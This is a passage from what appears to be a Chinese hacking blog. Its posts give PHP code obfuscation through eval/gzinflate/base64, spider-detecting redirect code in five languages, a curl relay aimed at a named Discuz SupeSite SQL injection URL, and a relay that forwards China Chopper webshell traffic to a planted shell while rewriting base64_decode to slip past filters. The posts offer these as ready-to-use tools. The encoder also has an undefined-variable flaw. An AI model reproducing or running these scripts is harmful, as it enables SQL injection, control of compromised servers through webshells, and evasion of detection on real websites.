            return '0B';
        }
        return $this->byte_format(disk_total_space($path));
    }

    //拆解当前路径
  

本地测试后发现功能,点评下,功能太尼玛简单咯

php简单加密

发布时间:April 27, 2015 // 分类:PHP,代码学习,转帖文章 // No Comments

今天看到了eval,gzinflate,base64_decode 这三个函数.可以用来对代码进行加密。保护产权

<?php 
function encode_file_contents($filename) { 
    $type=strtolower(substr(strrchr($filename,'.'),1)); 
    if('php'==$type && is_file($filename) && is_writable($filename)){
     
        $contents = file_get_contents($filename);
        $contents = php_strip_whitespace($filename); 
        $headerPos = strpos($contents,'<?php'); 
        $footerPos = strrpos($contents,'?>'); 
        $contents = substr($contents,$headerPos+5,$footerPos-$headerPos); 
        $encode = base64_encode(gzdeflate($contents));
        $encode = '<?php'."\neval(gzinflate(base64_decode('".$encode."')));\n?>"; 
        return file_put_contents($filename2,$encode); 
         
    } 
    return false; 
} 
 
$filename='C:\test.php'; //要加密的文件
$filename2='C:\test2.php'; //加密后的文件
encode_file_contents($filename); 
?>

 

从User-Agent判断实现跳转

发布时间:April 27, 2015 // 分类:PHP,转帖文章 // No Comments

最近公司要求XX跳转,就大概写了写。仅供参考。
包含asp php js aspx jsp几个代码。

ASP:

<%
If isspider() then
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://www.xx.com/" '在这里修改要跳转到的网页
Response.End
End if
 
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
 
%>

PHP

<?php
 
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
 
if(isspider($ua)){
header("location: http://www.xx.com"); //这里修改跳转到的页面
}
 
function isspider($name){
$spider_chs=array("googlebot","spider","sogou","yahoo","soso","baidu","360");
 
foreach($spider_chs as $spider_ch){
if(strpos($name,$spider_ch)!==false){return true;}
}
 
return false;
}
?>

JS:

var s = navigator.userAgent.toLowerCase();
 
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 || s.indexOf("spider")>0){ 
 
   window.location.href="http://www.xx.com/"; //跳转网址
 
}

ASPX:

<%@Page Language="C#"%>
<%
 
string s = Request.ServerVariables["HTTP_USER_AGENT"];  
 
if(s.IndexOf("baidu")>-1 || s.IndexOf("soso")>-1|| s.IndexOf("google")>-1 || s.IndexOf("360")>-1 || s.IndexOf("sogou")>-1 || s.IndexOf("spider")>-1){ 
 
    Response.Status = "301 Moved Permanently";
    Response.AddHeader("Location","http://www.xx.com/");   
    Response.AddHeader("Connection","close");
 
}  
%>

JSP:

<%
    String s = request.getHeader("User-Agent");
 
    if(s.indexOf("baidu")>-1 || s.indexOf("soso")>-1|| s.indexOf("google")>-1 || s.indexOf("360")>-1 || s.indexOf("sogou")>-1 || s.indexOf("spider")>-1){ 
 
        response.setStatus(301);
        response.setHeader( "Location", "http://www.xx.com/" );
        response.setHeader( "Connection", "close" );
 
    }  
%>

from:http://www.hackblog.cn/

PHP中转访问脚本

发布时间:April 26, 2015 // 分类:PHP,linux,windows // No Comments

<?php
set_time_limit(0); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
 
$url = "http://blog.discuz.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=$id%23"; //supsite 注入页面
 
echo $url;
 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);
 
$output = curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>

将这个文件保存成inj.php即可,这个文件url如下:

http://localhost/inj/inj.php

把需要访问的$id根据目标页的伪静态规则放到指定的位置就可以了。如上。

原理就是通过curl来取得目标页的内容(与直接访问目标页效果一样),只需要修改$url的内容就可以适应各种伪静态规则了。

脚本比较简陋,有需要的童鞋,可根据情况加入post方式,代理,referer等功能。

我们现在访问 http://localhost/inj/inj.php?id=1,

即相当于访问 http://localhost/inj/index.php/index/index/id/1.html ,

呵呵,现在我们就可以通过访问 http://localhost/inj/inj.php?id=1 这个连接访问ado服务器的相关页面了。顺便淘到了一个POST的中转的

<?php 
$webshell="http://www.phpinfo.me/plus/helen.php";//把这里改成你的shell地址 
$webshell=$webshell."?&1141056911=base64_decode"; 
 
$da=$_POST; 
$data = $da; 
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( 
 
//print_r($data); 
 
$data = http_build_query($data);   
$opts = array (   
'http' => array (   
'method' => 'POST',   
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .   
"Content-Length: " . strlen($data) . "\r\n",   
'content' => $data) 
); 
    
$context = stream_context_create($opts);   
$html = @file_get_contents($webshell, false, $context); //发送post   
echo $html;   
 
 
?>

 

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...